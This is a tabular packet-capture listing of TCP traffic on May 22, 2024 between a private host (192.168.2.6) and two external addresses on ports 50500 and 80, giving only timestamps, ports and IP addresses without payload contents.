May 22, 2024 20:06:28.190186977 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190207958 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190242052 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190260887 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190295935 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190314054 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190351963 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190376997 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190407038 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190711975 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190752029 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190776110 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190809011 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190829039 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190866947 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190891027 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190927982 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.190948963 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.190987110 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191011906 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191046000 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191063881 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191102028 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191123962 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191159010 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191180944 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191220045 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191248894 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191272974 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191298962 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191338062 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191361904 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191401005 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191416025 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191451073 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191477060 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191515923 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191540003 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191572905 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191593885 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191632032 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191656113 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191690922 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191713095 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191752911 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191778898 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191811085 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191831112 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191869020 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.191890955 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.191927910 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.192811012 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.192854881 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.192878008 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.192919970 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.192938089 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.192979097 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193003893 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193037033 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193059921 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193103075 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193126917 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193159103 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193180084 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193218946 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193238974 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193275928 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193294048 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193325996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193351030 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193382025 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193401098 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193442106 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193460941 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193494081 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193517923 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193558931 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193583965 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193614960 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193639040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193679094 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193706989 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193748951 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193768024 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193806887 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193830967 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193870068 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193888903 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193928957 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.193948030 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.193979979 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194005013 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194045067 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194066048 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194099903 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194780111 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194823027 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194844007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194869995 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194894075 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194925070 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.194950104 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.194988966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195010900 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195051908 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195065022 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195111036 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195141077 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195167065 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195192099 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195230961 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195255995 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195296049 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195317030 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.195353031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195394039 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195434093 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195471048 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195508957 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195548058 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195585966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195622921 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195660114 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195698023 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.195736885 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196779966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196829081 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196866989 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196906090 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196943045 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.196980953 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197017908 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197056055 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197093964 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197132111 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197170019 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197207928 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197244883 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197283030 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197323084 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197360992 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197398901 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197436094 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197473049 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197511911 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197550058 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.197588921 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198860884 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198882103 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198898077 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198914051 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198929071 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198947906 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198964119 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198980093 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.198996067 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199012041 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199028015 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199043989 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199059963 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199074984 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199090958 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199105978 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199122906 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199134111 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199155092 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199172020 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199187994 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199203968 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.199220896 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.203900099 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.203917980 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.203936100 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.203953028 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.203969955 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.247380972 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.249712944 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.295557022 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.825589895 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.830616951 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.970807076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:28.975893974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:28.975992918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:28.976639032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.029149055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.622548103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.622652054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.624310017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.677274942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.862780094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.863357067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.863523960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.864938021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.866507053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.866554022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.866602898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.866647959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.866853952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.866853952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.869609118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.870575905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.871238947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.871287107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.871315956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.871340036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.871361017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.871414900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.874357939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.874416113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.874509096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.908288956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.909425974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.918843031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:29.958658934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.959295034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.959377050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.960650921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.962047100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.962069035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.962084055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.962104082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.962122917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.962177992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.964818954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.964871883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.966104031 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:29.966232061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.966253996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.966310978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.969043016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.969063044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.969096899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.969132900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.971796036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.971817970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.971890926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.974003077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.974025011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.974042892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.974077940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.974123001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.976231098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.976252079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.976281881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.976304054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.978429079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.978451014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.978518009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.980678082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.980698109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:29.980731964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:29.980763912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.013418913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.013629913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.060818911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.061650038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.061775923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.063651085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.063699961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.063745022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.063779116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.063842058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.065088987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.065136909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.065218925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.072421074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.072472095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.072516918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.072546959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.072573900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.072602987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.072657108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.072671890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.072705030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.073024988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.073072910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.073134899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.074032068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.074079990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.074143887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.075890064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.075939894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.075964928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.076001883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.076025009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.076050997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.078403950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.078457117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.078505993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.078505993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.080847025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.080894947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.080914974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.080945969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.083009958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.083045006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.083081961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.083113909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.088841915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.088891029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.088921070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.088958979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.088975906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.089030981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.089046001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.089081049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.089108944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.089155912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.089780092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.089831114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.089900017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.089946032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.091922045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.091969967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.091994047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.092020988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.094120979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.094168901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.094193935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.094218969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.096301079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.096348047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.096374035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.096391916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.096419096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.096498966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.107335091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.107398987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.107428074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.107455015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.107481956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.107508898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.107527971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.107575893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.107635021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.107690096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.151894093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.151995897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.152271986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.152339935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.153410912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.153460026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.153485060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.153552055 CEST	49708	80	192.168.2.6	185.172.128.82
